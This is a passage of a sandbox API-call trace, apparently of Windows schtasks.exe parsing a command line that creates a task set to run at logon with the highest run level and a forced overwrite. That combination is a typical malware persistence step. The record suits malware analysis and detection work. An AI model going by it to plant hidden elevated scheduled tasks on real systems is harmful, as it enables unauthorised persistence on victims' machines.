[0074.823] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.824] lstrlenW (lpString="rl") returned 2 [0074.824] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.824] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.824] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rl|") returned 4 [0074.824] lstrlenW (lpString="|rl|") returned 4 [0074.824] lstrlenW (lpString="|rl|") returned 4 [0074.824] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0074.824] SetLastError (dwErrCode=0x0) [0074.824] SetLastError (dwErrCode=0x0) [0074.824] lstrlenW (lpString="HIGHEST") returned 7 [0074.824] lstrlenW (lpString="-/") returned 2 [0074.824] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0074.824] SetLastError (dwErrCode=0x490) [0074.824] SetLastError (dwErrCode=0x490) [0074.824] SetLastError (dwErrCode=0x0) [0074.824] lstrlenW (lpString="HIGHEST") returned 7 [0074.824] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0074.824] SetLastError (dwErrCode=0x490) [0074.824] SetLastError (dwErrCode=0x0) [0074.824] _memicmp (_Buf1=0x2ee540, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.824] lstrlenW (lpString="HIGHEST") returned 7 [0074.824] lstrlenW (lpString="HIGHEST") returned 7 [0074.824] lstrlenW (lpString=" \x09") returned 2 [0074.824] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0074.824] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0074.824] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0074.824] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0074.824] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0074.824] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0074.824] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0074.824] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0074.824] GetLastError () returned 0x0 [0074.825] lstrlenW (lpString="HIGHEST") returned 7 [0074.825] lstrlenW (lpString="HIGHEST") returned 7 [0074.825] SetLastError (dwErrCode=0x0) [0074.825] SetLastError (dwErrCode=0x0) [0074.825] lstrlenW (lpString="/f") returned 2 [0074.825] lstrlenW (lpString="-/") returned 2 [0074.825] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0074.825] lstrlenW (lpString="create") returned 6 [0074.825] lstrlenW (lpString="create") returned 6 [0074.825] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.825] lstrlenW (lpString="f") returned 1 [0074.825] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.825] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|create|") returned 8 [0074.825] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.825] lstrlenW (lpString="|create|") returned 8 [0074.825] lstrlenW (lpString="|f|") returned 3 [0074.825] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0074.825] SetLastError (dwErrCode=0x490) [0074.825] lstrlenW (lpString="?") returned 1 [0074.825] lstrlenW (lpString="?") returned 1 [0074.825] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.825] lstrlenW (lpString="f") returned 1 [0074.825] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.826] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|?|") returned 3 [0074.826] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.826] lstrlenW (lpString="|?|") returned 3 [0074.826] lstrlenW (lpString="|f|") returned 3 [0074.826] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0074.826] SetLastError (dwErrCode=0x490) [0074.826] lstrlenW (lpString="s") returned 1 [0074.826] lstrlenW (lpString="s") returned 1 [0074.826] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.826] lstrlenW (lpString="f") returned 1 [0074.826] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.826] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|s|") returned 3 [0074.826] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.826] lstrlenW (lpString="|s|") returned 3 [0074.826] lstrlenW (lpString="|f|") returned 3 [0074.826] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0074.826] SetLastError (dwErrCode=0x490) [0074.826] lstrlenW (lpString="u") returned 1 [0074.826] lstrlenW (lpString="u") returned 1 [0074.826] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.826] lstrlenW (lpString="f") returned 1 [0074.826] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.826] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|u|") returned 3 [0074.826] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.826] lstrlenW (lpString="|u|") returned 3 [0074.826] lstrlenW (lpString="|f|") returned 3 [0074.826] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0074.826] SetLastError (dwErrCode=0x490) [0074.826] lstrlenW (lpString="p") returned 1 [0074.826] lstrlenW (lpString="p") returned 1 [0074.826] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.827] lstrlenW (lpString="f") returned 1 [0074.827] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.827] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|p|") returned 3 [0074.827] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.827] lstrlenW (lpString="|p|") returned 3 [0074.827] lstrlenW (lpString="|f|") returned 3 [0074.827] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0074.827] SetLastError (dwErrCode=0x490) [0074.827] lstrlenW (lpString="ru") returned 2 [0074.827] lstrlenW (lpString="ru") returned 2 [0074.827] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.827] lstrlenW (lpString="f") returned 1 [0074.827] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.827] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|ru|") returned 4 [0074.827] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.827] lstrlenW (lpString="|ru|") returned 4 [0074.827] lstrlenW (lpString="|f|") returned 3 [0074.827] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0074.827] SetLastError (dwErrCode=0x490) [0074.827] lstrlenW (lpString="rp") returned 2 [0074.827] lstrlenW (lpString="rp") returned 2 [0074.827] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.827] lstrlenW (lpString="f") returned 1 [0074.827] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.827] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|rp|") returned 4 [0074.827] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.827] lstrlenW (lpString="|rp|") returned 4 [0074.827] lstrlenW (lpString="|f|") returned 3 [0074.827] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0074.827] SetLastError (dwErrCode=0x490) [0074.828] lstrlenW (lpString="sc") returned 2 [0074.828] lstrlenW (lpString="sc") returned 2 [0074.828] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.828] lstrlenW (lpString="f") returned 1 [0074.828] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.828] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sc|") returned 4 [0074.828] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.828] lstrlenW (lpString="|sc|") returned 4 [0074.828] lstrlenW (lpString="|f|") returned 3 [0074.828] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0074.828] SetLastError (dwErrCode=0x490) [0074.828] lstrlenW (lpString="mo") returned 2 [0074.828] lstrlenW (lpString="mo") returned 2 [0074.828] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.828] lstrlenW (lpString="f") returned 1 [0074.828] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.828] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|mo|") returned 4 [0074.828] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.828] lstrlenW (lpString="|mo|") returned 4 [0074.828] lstrlenW (lpString="|f|") returned 3 [0074.828] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0074.828] SetLastError (dwErrCode=0x490) [0074.828] lstrlenW (lpString="d") returned 1 [0074.828] lstrlenW (lpString="d") returned 1 [0074.828] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.828] lstrlenW (lpString="f") returned 1 [0074.828] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.828] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|d|") returned 3 [0074.828] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.828] lstrlenW (lpString="|d|") returned 3 [0074.829] lstrlenW (lpString="|f|") returned 3 [0074.829] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0074.829] SetLastError (dwErrCode=0x490) [0074.829] lstrlenW (lpString="m") returned 1 [0074.829] lstrlenW (lpString="m") returned 1 [0074.829] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.829] lstrlenW (lpString="f") returned 1 [0074.829] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.829] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|m|") returned 3 [0074.829] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.829] lstrlenW (lpString="|m|") returned 3 [0074.829] lstrlenW (lpString="|f|") returned 3 [0074.829] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0074.829] SetLastError (dwErrCode=0x490) [0074.829] lstrlenW (lpString="i") returned 1 [0074.829] lstrlenW (lpString="i") returned 1 [0074.829] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.829] lstrlenW (lpString="f") returned 1 [0074.829] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.829] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|i|") returned 3 [0074.829] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.829] lstrlenW (lpString="|i|") returned 3 [0074.829] lstrlenW (lpString="|f|") returned 3 [0074.829] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0074.829] SetLastError (dwErrCode=0x490) [0074.829] lstrlenW (lpString="tn") returned 2 [0074.829] lstrlenW (lpString="tn") returned 2 [0074.829] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.829] lstrlenW (lpString="f") returned 1 [0074.830] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.830] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tn|") returned 4 [0074.830] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.830] lstrlenW (lpString="|tn|") returned 4 [0074.830] lstrlenW (lpString="|f|") returned 3 [0074.830] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0074.830] SetLastError (dwErrCode=0x490) [0074.830] lstrlenW (lpString="tr") returned 2 [0074.830] lstrlenW (lpString="tr") returned 2 [0074.830] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.830] lstrlenW (lpString="f") returned 1 [0074.830] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.830] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|tr|") returned 4 [0074.830] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.830] lstrlenW (lpString="|tr|") returned 4 [0074.830] lstrlenW (lpString="|f|") returned 3 [0074.830] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0074.830] SetLastError (dwErrCode=0x490) [0074.830] lstrlenW (lpString="st") returned 2 [0074.830] lstrlenW (lpString="st") returned 2 [0074.830] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.830] lstrlenW (lpString="f") returned 1 [0074.830] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.830] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|st|") returned 4 [0074.830] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.830] lstrlenW (lpString="|st|") returned 4 [0074.830] lstrlenW (lpString="|f|") returned 3 [0074.830] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0074.830] SetLastError (dwErrCode=0x490) [0074.830] lstrlenW (lpString="sd") returned 2 [0074.831] lstrlenW (lpString="sd") returned 2 [0074.831] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.831] lstrlenW (lpString="f") returned 1 [0074.831] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.831] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|sd|") returned 4 [0074.831] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.831] lstrlenW (lpString="|sd|") returned 4 [0074.831] lstrlenW (lpString="|f|") returned 3 [0074.831] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0074.831] SetLastError (dwErrCode=0x490) [0074.831] lstrlenW (lpString="ed") returned 2 [0074.831] lstrlenW (lpString="ed") returned 2 [0074.831] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.831] lstrlenW (lpString="f") returned 1 [0074.831] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.831] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|ed|") returned 4 [0074.831] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.831] lstrlenW (lpString="|ed|") returned 4 [0074.831] lstrlenW (lpString="|f|") returned 3 [0074.831] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0074.831] SetLastError (dwErrCode=0x490) [0074.831] lstrlenW (lpString="it") returned 2 [0074.831] lstrlenW (lpString="it") returned 2 [0074.831] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.831] lstrlenW (lpString="f") returned 1 [0074.831] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.831] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|it|") returned 4 [0074.831] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.831] lstrlenW (lpString="|it|") returned 4 [0074.831] lstrlenW (lpString="|f|") returned 3 [0074.831] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0074.832] SetLastError (dwErrCode=0x490) [0074.832] lstrlenW (lpString="et") returned 2 [0074.832] lstrlenW (lpString="et") returned 2 [0074.832] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.832] lstrlenW (lpString="f") returned 1 [0074.832] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.832] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|et|") returned 4 [0074.832] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.832] lstrlenW (lpString="|et|") returned 4 [0074.832] lstrlenW (lpString="|f|") returned 3 [0074.832] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0074.832] SetLastError (dwErrCode=0x490) [0074.832] lstrlenW (lpString="k") returned 1 [0074.832] lstrlenW (lpString="k") returned 1 [0074.832] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.832] lstrlenW (lpString="f") returned 1 [0074.832] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.832] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|k|") returned 3 [0074.832] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.832] lstrlenW (lpString="|k|") returned 3 [0074.832] lstrlenW (lpString="|f|") returned 3 [0074.832] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0074.832] SetLastError (dwErrCode=0x490) [0074.832] lstrlenW (lpString="du") returned 2 [0074.832] lstrlenW (lpString="du") returned 2 [0074.832] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.832] lstrlenW (lpString="f") returned 1 [0074.832] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.832] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|du|") returned 4 [0074.833] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.833] lstrlenW (lpString="|du|") returned 4 [0074.833] lstrlenW (lpString="|f|") returned 3 [0074.833] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0074.833] SetLastError (dwErrCode=0x490) [0074.833] lstrlenW (lpString="ri") returned 2 [0074.833] lstrlenW (lpString="ri") returned 2 [0074.833] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.833] lstrlenW (lpString="f") returned 1 [0074.833] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.833] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|ri|") returned 4 [0074.833] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.833] lstrlenW (lpString="|ri|") returned 4 [0074.833] lstrlenW (lpString="|f|") returned 3 [0074.833] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0074.833] SetLastError (dwErrCode=0x490) [0074.833] lstrlenW (lpString="z") returned 1 [0074.833] lstrlenW (lpString="z") returned 1 [0074.833] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.833] lstrlenW (lpString="f") returned 1 [0074.833] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.833] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|z|") returned 3 [0074.833] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.833] lstrlenW (lpString="|z|") returned 3 [0074.833] lstrlenW (lpString="|f|") returned 3 [0074.833] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0074.833] SetLastError (dwErrCode=0x490) [0074.833] lstrlenW (lpString="f") returned 1 [0074.833] lstrlenW (lpString="f") returned 1 [0074.834] _memicmp (_Buf1=0x2ed1c0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.834] lstrlenW (lpString="f") returned 1 [0074.834] _memicmp (_Buf1=0x2ed200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.834] _vsnwprintf (in: _Buffer=0x2ed240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.834] _vsnwprintf (in: _Buffer=0x2ed220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x23c4e8 | out: _Buffer="|f|") returned 3 [0074.834] lstrlenW (lpString="|f|") returned 3 [0074.834] lstrlenW (lpString="|f|") returned 3 [0074.834] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0074.834] SetLastError (dwErrCode=0x0) [0074.834] SetLastError (dwErrCode=0x0) [0074.834] GetProcessHeap () returned 0x2d0000 [0074.834] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edd10 [0074.834] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.834] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0074.834] lstrlenW (lpString="LIMITED") returned 7 [0074.834] GetProcessHeap () returned 0x2d0000 [0074.834] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ee560 [0074.834] GetThreadLocale () returned 0x409 [0074.834] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0074.834] GetProcessHeap () returned 0x2d0000 [0074.834] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edce0 [0074.834] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.834] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0074.834] lstrlenW (lpString="HIGHEST") returned 7 [0074.834] GetProcessHeap () returned 0x2d0000 [0074.834] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x10) returned 0x2ee580 [0074.834] GetThreadLocale () returned 0x409 [0074.835] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0074.835] GetProcessHeap () returned 0x2d0000 [0074.835] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edcb0 [0074.835] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.835] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0074.835] lstrlenW (lpString="MINUTE") returned 6 [0074.835] GetProcessHeap () returned 0x2d0000 [0074.835] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ee5a0 [0074.835] GetThreadLocale () returned 0x409 [0074.835] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0074.835] GetProcessHeap () returned 0x2d0000 [0074.835] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edc80 [0074.835] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.835] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0074.835] lstrlenW (lpString="HOURLY") returned 6 [0074.835] GetProcessHeap () returned 0x2d0000 [0074.835] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ee5c0 [0074.835] GetThreadLocale () returned 0x409 [0074.835] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0074.835] GetProcessHeap () returned 0x2d0000 [0074.835] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edc50 [0074.836] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.836] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0074.836] lstrlenW (lpString="DAILY") returned 5 [0074.836] GetProcessHeap () returned 0x2d0000 [0074.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xc) returned 0x2ee5e0 [0074.836] GetThreadLocale () returned 0x409 [0074.836] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0074.836] GetProcessHeap () returned 0x2d0000 [0074.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2edc20 [0074.836] _memicmp (_Buf1=0x2ed0a0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0074.836] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x2ee2a0, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0074.836] lstrlenW (lpString="WEEKLY") returned 6 [0074.836] GetProcessHeap () returned 0x2d0000 [0074.836] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0xe) returned 0x2ee600 [0074.836] GetThreadLocale () returned 0x409 [0074.836] CompareStringW (Locale=0x409, dwCmpFlags=0x1, 